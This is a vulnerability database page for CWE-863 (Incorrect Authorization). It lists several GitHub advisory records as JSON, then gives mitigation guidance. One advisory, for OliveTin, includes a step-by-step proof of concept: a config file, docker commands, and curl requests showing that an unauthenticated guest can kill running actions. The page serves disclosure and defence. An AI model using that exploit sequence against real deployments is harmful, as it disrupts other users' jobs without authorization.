CWE-863
Allowed-with-ReviewIncorrect Authorization
Abstraction: Class · Status: Incomplete
The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.
5641 vulnerabilities reference this CWE, most recent first.
GHSA-4F97-4VQ5-662M
Vulnerability from github – Published: 2022-05-24 17:46 – Updated: 2022-05-24 17:46The /rest/api/1.0/render resource in Jira Server and Data Center before version 8.5.13, from version 8.6.0 before version 8.13.5, and from version 8.14.0 before version 8.15.1 allows remote anonymous attackers to determine if a username is valid or not via a missing permissions check.
{
"affected": [],
"aliases": [
"CVE-2020-36238"
],
"database_specific": {
"cwe_ids": [
"CWE-862",
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-04-01T03:15:00Z",
"severity": "MODERATE"
},
"details": "The /rest/api/1.0/render resource in Jira Server and Data Center before version 8.5.13, from version 8.6.0 before version 8.13.5, and from version 8.14.0 before version 8.15.1 allows remote anonymous attackers to determine if a username is valid or not via a missing permissions check.",
"id": "GHSA-4f97-4vq5-662m",
"modified": "2022-05-24T17:46:02Z",
"published": "2022-05-24T17:46:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-36238"
},
{
"type": "WEB",
"url": "https://jira.atlassian.com/browse/JRASERVER-72249"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-4F9C-XGF5-F9P3
Vulnerability from github – Published: 2022-05-13 01:50 – Updated: 2022-05-13 01:50The Dell OpenManage Network Manager virtual appliance versions prior to 6.5.3 contain an improper authorization vulnerability caused by a misconfiguration in the /etc/sudoers file.
{
"affected": [],
"aliases": [
"CVE-2018-15767"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-11-30T17:29:00Z",
"severity": "HIGH"
},
"details": "The Dell OpenManage Network Manager virtual appliance versions prior to 6.5.3 contain an improper authorization vulnerability caused by a misconfiguration in the /etc/sudoers file.",
"id": "GHSA-4f9c-xgf5-f9p3",
"modified": "2022-05-13T01:50:12Z",
"published": "2022-05-13T01:50:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-15767"
},
{
"type": "WEB",
"url": "https://www.dell.com/support/article/us/en/04/sln314610/dell-openmanage-network-manager-security-vulnerabilities"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/45852"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/105912"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-4F9V-JPX9-MJVW
Vulnerability from github – Published: 2026-07-20 12:33 – Updated: 2026-07-20 12:33SurrealDB before 3.1.0 evaluates user-supplied WHERE clauses in SELECT statements (and SET/MERGE/CONTENT/PATCH clauses in UPDATE, UPSERT, INSERT ON DUPLICATE KEY UPDATE, and RELATE update-variant statements) against full record data before enforcing PERMISSIONS FOR SELECT WHERE restrictions. An authenticated user — including Record and Scope users — can exploit this ordering flaw to read the full contents of any table in the database they are authenticated against, bypassing table-level permission checks. Exfiltration is most direct when scripting functions are enabled (--allow-scripting), but is also possible via SurrealQL's THROW statement and timing-based side channels without scripting. The vulnerability is confined to the attacker's current database and does not cross namespace or database isolation boundaries.
{
"affected": [],
"aliases": [
"CVE-2026-63755"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-20T12:19:45Z",
"severity": "HIGH"
},
"details": "SurrealDB before 3.1.0 evaluates user-supplied WHERE clauses in SELECT statements (and SET/MERGE/CONTENT/PATCH clauses in UPDATE, UPSERT, INSERT ON DUPLICATE KEY UPDATE, and RELATE update-variant statements) against full record data before enforcing PERMISSIONS FOR SELECT WHERE restrictions. An authenticated user \u2014 including Record and Scope users \u2014 can exploit this ordering flaw to read the full contents of any table in the database they are authenticated against, bypassing table-level permission checks. Exfiltration is most direct when scripting functions are enabled (--allow-scripting), but is also possible via SurrealQL\u0027s THROW statement and timing-based side channels without scripting. The vulnerability is confined to the attacker\u0027s current database and does not cross namespace or database isolation boundaries.",
"id": "GHSA-4f9v-jpx9-mjvw",
"modified": "2026-07-20T12:33:10Z",
"published": "2026-07-20T12:33:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/surrealdb/surrealdb/security/advisories/GHSA-98fx-66cf-fc7c"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-63755"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/surrealdb-before-permission-bypass-via-where-clause"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-4FC7-HC63-7FJG
Vulnerability from github – Published: 2022-05-02 19:33 – Updated: 2022-05-02 19:33Impact
This issue only happens when the user configures access credentials to a private repository in Rancher inside Apps & Marketplace > Repositories. It affects Rancher versions 2.5.0 up to and including 2.5.11 and from 2.6.0 up to and including 2.6.2.
An insufficient check of the same-origin policy when downloading Helm charts from a configured private repository can lead to exposure of the repository credentials to a third-party provider. This exposure happens when the private repository:
- Does an HTTP redirect to a third-party repository or external storage provider.
- Downloads an icon resource for the chart hosted on a third-party provider.
The address of the private repository is not leaked, only the credentials are leaked in the HTTP Authorization header in base64 format.
With the patched versions, the default behavior now is to only send the private repository credentials when subdomain or domain hostname match when following the redirect or downloading external resources.
Patches
Patched versions include releases 2.5.12, 2.6.3 and later versions.
Workarounds
- Update Rancher to a patched version.
- Check the Helm charts in your configured private repository for possible redirects to third-party storage, and for Helm chart icons from third-party sources.
- Evaluate any Helm chart that might lead to the mentioned scenario and change affected credentials if deemed necessary.
References
Information about the same-origin check and how to disable it is available in Rancher documentation.
For more information
If you have any questions or comments about this advisory: * Reach out to SUSE Rancher Security team for security related inquiries. * Open an issue in Rancher repository. * Verify our support matrix and product support lifecycle.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/rancher/rancher"
},
"ranges": [
{
"events": [
{
"introduced": "2.6.0"
},
{
"fixed": "2.6.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/rancher/rancher"
},
"ranges": [
{
"events": [
{
"introduced": "2.5.0"
},
{
"fixed": "2.5.12"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-36778"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-522",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2022-05-02T19:33:34Z",
"nvd_published_at": "2022-05-02T12:16:00Z",
"severity": "HIGH"
},
"details": "### Impact\nThis issue only happens when the user configures access credentials to a private repository in Rancher inside `Apps \u0026 Marketplace \u003e Repositories`. It affects Rancher versions 2.5.0 up to and including 2.5.11 and from 2.6.0 up to and including 2.6.2.\n\nAn insufficient check of the same-origin policy when downloading Helm charts from a configured private repository can lead to exposure of the repository credentials to a third-party provider. This exposure happens when the private repository:\n\n1. Does an HTTP redirect to a third-party repository or external storage provider.\n2. Downloads an icon resource for the chart hosted on a third-party provider.\n\nThe address of the private repository is not leaked, only the credentials are leaked in the HTTP `Authorization` header in base64 format.\n\nWith the patched versions, the default behavior now is to only send the private repository credentials when subdomain or domain hostname match when following the redirect or downloading external resources.\n\n### Patches\nPatched versions include releases 2.5.12, 2.6.3 and later versions.\n\n### Workarounds\n1. Update Rancher to a patched version.\n2. Check the Helm charts in your configured private repository for possible redirects to third-party storage, and for Helm chart icons from third-party sources.\n3. Evaluate any Helm chart that might lead to the mentioned scenario and change affected credentials if deemed necessary.\n\n### References\nInformation about the same-origin check and how to disable it is available in Rancher [documentation](https://rancher.com/docs/rancher/v2.6/en/helm-charts/#repositories).\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Reach out to [SUSE Rancher Security team](https://github.com/rancher/rancher/security/policy) for security related inquiries.\n* Open an issue in [Rancher](https://github.com/rancher/rancher/issues/new/choose) repository.\n* Verify our [support matrix](https://www.suse.com/suse-rancher/support-matrix/all-supported-versions/) and [product support lifecycle](https://www.suse.com/lifecycle/).",
"id": "GHSA-4fc7-hc63-7fjg",
"modified": "2022-05-02T19:33:34Z",
"published": "2022-05-02T19:33:34Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/rancher/rancher/security/advisories/GHSA-4fc7-hc63-7fjg"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-36778"
},
{
"type": "WEB",
"url": "https://bugzilla.suse.com/show_bug.cgi?id=1191466"
},
{
"type": "PACKAGE",
"url": "github.com/rancher/rancher"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "Exposure of repository credentials to external third-party sources in Rancher"
}
GHSA-4FG8-HR8G-58RR
Vulnerability from github – Published: 2022-05-24 19:16 – Updated: 2022-07-13 00:01** UNSUPPORTED WHEN ASSIGNED ** ARCHIBUS Web Central 21.3.3.815 (a version from 2014) does not properly validate requests for access to data and functionality in these affected endpoints: /archibus/schema/ab-edit-users.axvw, /archibus/schema/ab-data-dictionary-table.axvw, /archibus/schema/ab-schema-add-field.axvw, /archibus/schema/ab-core/views/process-navigator/ab-my-user-profile.axvw. By not verifying the permissions for access to resources, it allows a potential attacker to view pages that are not allowed. Specifically, it was found that any authenticated user can reach the administrative console for user management by directly requesting access to the page via URL. This allows a malicious user to modify all users' profiles, to elevate any privileges to administrative ones, or to create or delete any type of user. It is also possible to modify the emails of other users, through a misconfiguration of the username parameter, on the user profile page. This is fixed in all recent versions, such as version 26. NOTE: This vulnerability only affects products that are no longer supported by the maintainer.
{
"affected": [],
"aliases": [
"CVE-2021-41554"
],
"database_specific": {
"cwe_ids": [
"CWE-862",
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-10-05T15:15:00Z",
"severity": "HIGH"
},
"details": "** UNSUPPORTED WHEN ASSIGNED ** ARCHIBUS Web Central 21.3.3.815 (a version from 2014) does not properly validate requests for access to data and functionality in these affected endpoints: /archibus/schema/ab-edit-users.axvw, /archibus/schema/ab-data-dictionary-table.axvw, /archibus/schema/ab-schema-add-field.axvw, /archibus/schema/ab-core/views/process-navigator/ab-my-user-profile.axvw. By not verifying the permissions for access to resources, it allows a potential attacker to view pages that are not allowed. Specifically, it was found that any authenticated user can reach the administrative console for user management by directly requesting access to the page via URL. This allows a malicious user to modify all users\u0027 profiles, to elevate any privileges to administrative ones, or to create or delete any type of user. It is also possible to modify the emails of other users, through a misconfiguration of the username parameter, on the user profile page. This is fixed in all recent versions, such as version 26. NOTE: This vulnerability only affects products that are no longer supported by the maintainer.",
"id": "GHSA-4fg8-hr8g-58rr",
"modified": "2022-07-13T00:01:41Z",
"published": "2022-05-24T19:16:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-41554"
},
{
"type": "WEB",
"url": "https://www.gruppotim.it/redteam"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-4FGX-XV5W-XFCP
Vulnerability from github – Published: 2022-02-15 00:02 – Updated: 2022-02-23 00:01Inappropriate implementation in Autofill in Google Chrome prior to 97.0.4692.99 allowed a remote attacker to bypass navigation restrictions via a crafted HTML page.
{
"affected": [],
"aliases": [
"CVE-2022-0309"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-02-12T02:15:00Z",
"severity": "MODERATE"
},
"details": "Inappropriate implementation in Autofill in Google Chrome prior to 97.0.4692.99 allowed a remote attacker to bypass navigation restrictions via a crafted HTML page.",
"id": "GHSA-4fgx-xv5w-xfcp",
"modified": "2022-02-23T00:01:18Z",
"published": "2022-02-15T00:02:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0309"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2022/01/stable-channel-update-for-desktop_19.html"
},
{
"type": "WEB",
"url": "https://crbug.com/1240472"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-4FQM-6FMH-82MQ
Vulnerability from github – Published: 2026-03-02 21:42 – Updated: 2026-03-05 22:49Summary
OliveTin allows an unauthenticated guest to terminate running actions through KillAction even when authRequireGuestsToLogin: true is enabled. In the tested release (3000.10.2), guests are correctly blocked from dashboard access, but an still call the KillAction RPC directly and successfully stop a running action. This is a broken access control issue that causes unauthorized denial of service against legitimate action executions.
Details
The issue is caused by inconsistent authorization enforcement between dashboard access and action-control RPCs.
KillAction() authenticates the caller and applies only the per-action kill ACL check:
- service/internal/api/api.go:62
However, it does not enforce the guest login requirement. The guest/login gate exists separately in:
- service/internal/api/api.go:474
That gate is used by dashboard-style methods, but not by KillAction.
In addition, when authRequireGuestsToLogin is enabled, config sanitization disables guest view, exec, and logs permissions, but leaves kill unchanged:
- service/internal/config/sanitize.go:160
Specifically:
- DefaultPermissions.View = false
- DefaultPermissions.Exec = false
- DefaultPermissions.Logs = false
- DefaultPermissions.Kill remains unchanged
As a result, in the default configuration path where Kill remains allowed, an unauthenticated guest user can still satisfy IsAllowedKill():
- service/internal/acl/acl.go:133
I validated this behavior on a clean 3000.10.2 setup:
- guests were denied access to GetDashboard
- an authenticated admin user started a long-running action
- an unauthenticated guest successfully called KillAction
- the action was terminated
This confirms a real authorization bypass affecting action termination.
PoC
Tested version:
3000.10.2
- Create a minimal config:
mkdir -p /tmp/olivetin-kill-bypass
cat > /tmp/olivetin-kill-bypass/config.yaml <<'YAML'
listenAddressSingleHTTPFrontend: 0.0.0.0:1337
logLevel: "DEBUG"
checkForUpdates: false
authRequireGuestsToLogin: true
authLocalUsers:
enabled: true
users:
- username: "admin"
usergroup: "admin"
password: "$argon2id$v=19$m=65536,t=4,p=2$JLk85PhCL7RPboAlsYO4Lw$bQj6uhKnBpisbGRhe271cEt59S9EqYrHKeCfykypbZ4"
accessControlLists:
- name: adminall
addToEveryAction: true
matchUsernames: ["admin"]
permissions:
view: true
exec: true
logs: true
kill: true
actions:
- title: long-running
id: long-running
shell: sleep 20
timeout: 30
YAML
- Start OliveTin 3000.10.2:
docker rm -f olivetin-kill-bypass 2>/dev/null || true
docker run -d --name olivetin-kill-bypass \
-p 1347:1337 \
-v /tmp/olivetin-kill-bypass:/config:ro \
ghcr.io/olivetin/olivetin:3000.10.2
- Confirm the server is ready:
curl -i http://127.0.0.1:1347/readyz
- Prove guests are blocked from dashboard access:
curl -i -X POST http://127.0.0.1:1347/api/GetDashboard \
-H 'Content-Type: application/json' \
--data '{"title":"default"}'
Observed response:
HTTP/1.1 403 Forbidden
{"code":"permission_denied","message":"guests are not allowed to access the dashboard"}
- Log in as admin:
curl -c /tmp/ot_admin_cookie.txt -i -X POST http://127.0.0.1:1347/api/LocalUserLogin \
-H 'Content-Type: application/json' \
--data '{"username":"admin","password":"SecretPass123!"}'
- Start a long-running action as admin:
curl -i -b /tmp/ot_admin_cookie.txt -X POST http://127.0.0.1:1347/api/StartAction \
-H 'Content-Type: application/json' \
--data '{"bindingId":"long-running","arguments":[],"uniqueTrackingId":"kill-hunt-1"}'
Observed response:
HTTP/1.1 200 OK
{"executionTrackingId":"kill-hunt-1"}
- Kill it as an unauthenticated guest:
curl -i -X POST http://127.0.0.1:1347/api/KillAction \
-H 'Content-Type: application/json' \
--data '{"executionTrackingId":"kill-hunt-1"}'
Observed response:
HTTP/1.1 200 OK
{"executionTrackingId":"kill-hunt-1","killed":true,"alreadyCompleted":false,"found":true}
- Confirm in container logs:
docker logs olivetin-kill-bypass 2>&1 | tail -n 120
Observed relevant lines:
Authenticated API request ... path="/olivetin.api.v1.OliveTinApiService/GetDashboard" ... username="guest"
Authenticated API request ... path="/olivetin.api.v1.OliveTinApiService/StartAction" ... username="admin"
Action started actionTitle="long-running"
Authenticated API request ... path="/olivetin.api.v1.OliveTinApiService/KillAction" ... username="guest"
Killing execution request by tracking ID: kill-hunt-1
Action finished actionTitle="long-running" exit="-1"
This proves:
- guests are denied dashboard access
- guests can still invoke KillAction
- the running action is successfully terminated by an unauthenticated user
Impact
This is an unauthenticated broken access control vulnerability resulting in denial of service.
An unauthenticated guest can:
- terminate active jobs started by legitimate users
- disrupt long-running administrative or operational workflows
- interfere with privileged actions without being allowed to log in
Who is impacted:
- OliveTin deployments with authRequireGuestsToLogin: true
- multi-user environments where actions may run for meaningful durations
- operational environments where stopping a running action can interrupt maintenance, deployment, backup, or service-control tasks
This issue does not require valid credentials, only knowledge of a live executionTrackingId. That still makes it a real and exploitable availability issue in environments where execution identifiers can be observed or predicted through adjacent leaks or shared operator knowledge.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/OliveTin/OliveTin"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20260302002902-d9804182eae4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-28790"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-862",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-02T21:42:12Z",
"nvd_published_at": "2026-03-05T20:16:16Z",
"severity": "HIGH"
},
"details": "### Summary\n\nOliveTin allows an unauthenticated guest to terminate running actions through KillAction even when authRequireGuestsToLogin: true is enabled. In the tested release (3000.10.2), guests are correctly blocked from dashboard access, but an still call the KillAction RPC directly and successfully stop a running action. This is a broken access control issue that causes unauthorized denial of service against legitimate action executions.\n\n\n\n\n### Details\nThe issue is caused by inconsistent authorization enforcement between dashboard access and action-control RPCs.\n\n KillAction() authenticates the caller and applies only the per-action kill ACL check:\n\n - service/internal/api/api.go:62\n\n However, it does not enforce the guest login requirement. The guest/login gate exists separately in:\n\n - service/internal/api/api.go:474\n\n That gate is used by dashboard-style methods, but not by KillAction.\n\n In addition, when authRequireGuestsToLogin is enabled, config sanitization disables guest view, exec, and logs permissions, but leaves kill unchanged:\n\n - service/internal/config/sanitize.go:160\n\n Specifically:\n\n - DefaultPermissions.View = false\n - DefaultPermissions.Exec = false\n - DefaultPermissions.Logs = false\n - DefaultPermissions.Kill remains unchanged\n\n As a result, in the default configuration path where Kill remains allowed, an unauthenticated guest user can still satisfy IsAllowedKill():\n\n - service/internal/acl/acl.go:133\n\n I validated this behavior on a clean 3000.10.2 setup:\n\n - guests were denied access to GetDashboard\n - an authenticated admin user started a long-running action\n - an unauthenticated guest successfully called KillAction\n - the action was terminated\n\n This confirms a real authorization bypass affecting action termination.\n\n\n### PoC\n Tested version:\n```\n 3000.10.2\n```\n 1. Create a minimal config:\n```bash\n mkdir -p /tmp/olivetin-kill-bypass\n cat \u003e /tmp/olivetin-kill-bypass/config.yaml \u003c\u003c\u0027YAML\u0027\n listenAddressSingleHTTPFrontend: 0.0.0.0:1337\n logLevel: \"DEBUG\"\n checkForUpdates: false\n\n authRequireGuestsToLogin: true\n authLocalUsers:\n enabled: true\n users:\n - username: \"admin\"\n usergroup: \"admin\"\n password: \"$argon2id$v=19$m=65536,t=4,p=2$JLk85PhCL7RPboAlsYO4Lw$bQj6uhKnBpisbGRhe271cEt59S9EqYrHKeCfykypbZ4\"\n\n accessControlLists:\n - name: adminall\n addToEveryAction: true\n matchUsernames: [\"admin\"]\n permissions:\n view: true\n exec: true\n logs: true\n kill: true\n\n actions:\n - title: long-running\n id: long-running\n shell: sleep 20\n timeout: 30\n YAML\n```\n 2. Start OliveTin 3000.10.2:\n```bash\n docker rm -f olivetin-kill-bypass 2\u003e/dev/null || true\n docker run -d --name olivetin-kill-bypass \\\n -p 1347:1337 \\\n -v /tmp/olivetin-kill-bypass:/config:ro \\\n ghcr.io/olivetin/olivetin:3000.10.2\n```\n 3. Confirm the server is ready:\n```bash\n curl -i http://127.0.0.1:1347/readyz\n```\n 4. Prove guests are blocked from dashboard access:\n```bash\n curl -i -X POST http://127.0.0.1:1347/api/GetDashboard \\\n -H \u0027Content-Type: application/json\u0027 \\\n --data \u0027{\"title\":\"default\"}\u0027\n\n Observed response:\n\n HTTP/1.1 403 Forbidden\n {\"code\":\"permission_denied\",\"message\":\"guests are not allowed to access the dashboard\"}\n```\n 5. Log in as admin:\n```bash\n curl -c /tmp/ot_admin_cookie.txt -i -X POST http://127.0.0.1:1347/api/LocalUserLogin \\\n -H \u0027Content-Type: application/json\u0027 \\\n --data \u0027{\"username\":\"admin\",\"password\":\"SecretPass123!\"}\u0027\n```\n 6. Start a long-running action as admin:\n```bash\n curl -i -b /tmp/ot_admin_cookie.txt -X POST http://127.0.0.1:1347/api/StartAction \\\n -H \u0027Content-Type: application/json\u0027 \\\n --data \u0027{\"bindingId\":\"long-running\",\"arguments\":[],\"uniqueTrackingId\":\"kill-hunt-1\"}\u0027\n\n Observed response:\n\n HTTP/1.1 200 OK\n {\"executionTrackingId\":\"kill-hunt-1\"}\n```\n 7. Kill it as an unauthenticated guest:\n```bash\n curl -i -X POST http://127.0.0.1:1347/api/KillAction \\\n -H \u0027Content-Type: application/json\u0027 \\\n --data \u0027{\"executionTrackingId\":\"kill-hunt-1\"}\u0027\n```\n Observed response:\n```bash\n HTTP/1.1 200 OK\n {\"executionTrackingId\":\"kill-hunt-1\",\"killed\":true,\"alreadyCompleted\":false,\"found\":true}\n```\n 8. Confirm in container logs:\n```bash\n docker logs olivetin-kill-bypass 2\u003e\u00261 | tail -n 120\n```\n Observed relevant lines:\n```bash\n Authenticated API request ... path=\"/olivetin.api.v1.OliveTinApiService/GetDashboard\" ... username=\"guest\"\n Authenticated API request ... path=\"/olivetin.api.v1.OliveTinApiService/StartAction\" ... username=\"admin\"\n Action started actionTitle=\"long-running\"\n Authenticated API request ... path=\"/olivetin.api.v1.OliveTinApiService/KillAction\" ... username=\"guest\"\n Killing execution request by tracking ID: kill-hunt-1\n Action finished actionTitle=\"long-running\" exit=\"-1\"\n```\n This proves:\n\n - guests are denied dashboard access\n - guests can still invoke KillAction\n - the running action is successfully terminated by an unauthenticated user\n\n\n### Impact\nThis is an unauthenticated broken access control vulnerability resulting in denial of service.\n\n An unauthenticated guest can:\n\n - terminate active jobs started by legitimate users\n - disrupt long-running administrative or operational workflows\n - interfere with privileged actions without being allowed to log in\n\n Who is impacted:\n\n - OliveTin deployments with authRequireGuestsToLogin: true\n - multi-user environments where actions may run for meaningful durations\n - operational environments where stopping a running action can interrupt maintenance, deployment, backup, or service-control tasks\n\n This issue does not require valid credentials, only knowledge of a live executionTrackingId. That still makes it a real and exploitable availability issue in environments where execution identifiers can be observed or predicted\n through adjacent leaks or shared operator knowledge.",
"id": "GHSA-4fqm-6fmh-82mq",
"modified": "2026-03-05T22:49:37Z",
"published": "2026-03-02T21:42:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/OliveTin/OliveTin/security/advisories/GHSA-4fqm-6fmh-82mq"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28790"
},
{
"type": "WEB",
"url": "https://github.com/OliveTin/OliveTin/commit/d9804182eae43cf49f735e6533ddbe1541c2b9a9"
},
{
"type": "PACKAGE",
"url": "https://github.com/OliveTin/OliveTin"
},
{
"type": "WEB",
"url": "https://github.com/OliveTin/OliveTin/releases/tag/3000.11.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "OliveTin has Unauthenticated Action Termination via KillAction When Guests Must Login"
}
GHSA-4FXJ-629W-3RVV
Vulnerability from github – Published: 2022-07-13 00:00 – Updated: 2022-07-13 00:00BitLocker Security Feature Bypass Vulnerability.
{
"affected": [],
"aliases": [
"CVE-2022-22048"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-07-12T23:15:00Z",
"severity": "MODERATE"
},
"details": "BitLocker Security Feature Bypass Vulnerability.",
"id": "GHSA-4fxj-629w-3rvv",
"modified": "2022-07-13T00:00:39Z",
"published": "2022-07-13T00:00:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-22048"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-22048"
},
{
"type": "WEB",
"url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-22048"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-4G2V-W6W3-CWHP
Vulnerability from github – Published: 2022-05-24 19:02 – Updated: 2022-05-24 19:02In the Redirection for Contact Form 7 WordPress plugin before 2.3.4, any authenticated user, such as a subscriber, could use the delete_action_post AJAX action to delete any post on a target site.
{
"affected": [],
"aliases": [
"CVE-2021-24281"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-05-14T12:15:00Z",
"severity": "MODERATE"
},
"details": "In the Redirection for Contact Form 7 WordPress plugin before 2.3.4, any authenticated user, such as a subscriber, could use the delete_action_post AJAX action to delete any post on a target site.",
"id": "GHSA-4g2v-w6w3-cwhp",
"modified": "2022-05-24T19:02:28Z",
"published": "2022-05-24T19:02:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-24281"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/daf12b85-f5ad-4261-ab39-be6840ad3cdc"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/blog/2021/04/severe-vulnerabilities-patched-in-redirection-for-contact-form-7-plugin"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-4G98-G8WP-GW9F
Vulnerability from github – Published: 2026-03-11 18:30 – Updated: 2026-03-11 18:30Excessive caching of authentication context in Neo4j Enterprise edition versions prior to 2026.01.4 leads to authenticated users inheriting the context of the first user who authenticated after restart. The issue is limited to certain non-default configurations of SSO (UserInfo endpoint). We recommend upgrading to versions 2026.01.4 (or 5.26.22) where the issue is fixed.
{
"affected": [],
"aliases": [
"CVE-2026-1471"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-11T17:16:54Z",
"severity": "LOW"
},
"details": "Excessive caching of authentication context in Neo4j Enterprise edition versions prior to 2026.01.4 leads to authenticated users inheriting the context of the first user who authenticated after restart. The issue is limited to certain non-default configurations of SSO (UserInfo endpoint).\u00a0\nWe recommend upgrading to versions 2026.01.4 (or 5.26.22) where the issue is fixed.",
"id": "GHSA-4g98-g8wp-gw9f",
"modified": "2026-03-11T18:30:33Z",
"published": "2026-03-11T18:30:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1471"
},
{
"type": "WEB",
"url": "https://neo4j.com/security/CVE-2026-1471"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:N/R:U/V:D/RE:L/U:Clear",
"type": "CVSS_V4"
}
]
}
Mitigation
- Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
- Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
Mitigation MIT-4.4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
- For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
- One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
No CAPEC attack patterns related to this CWE.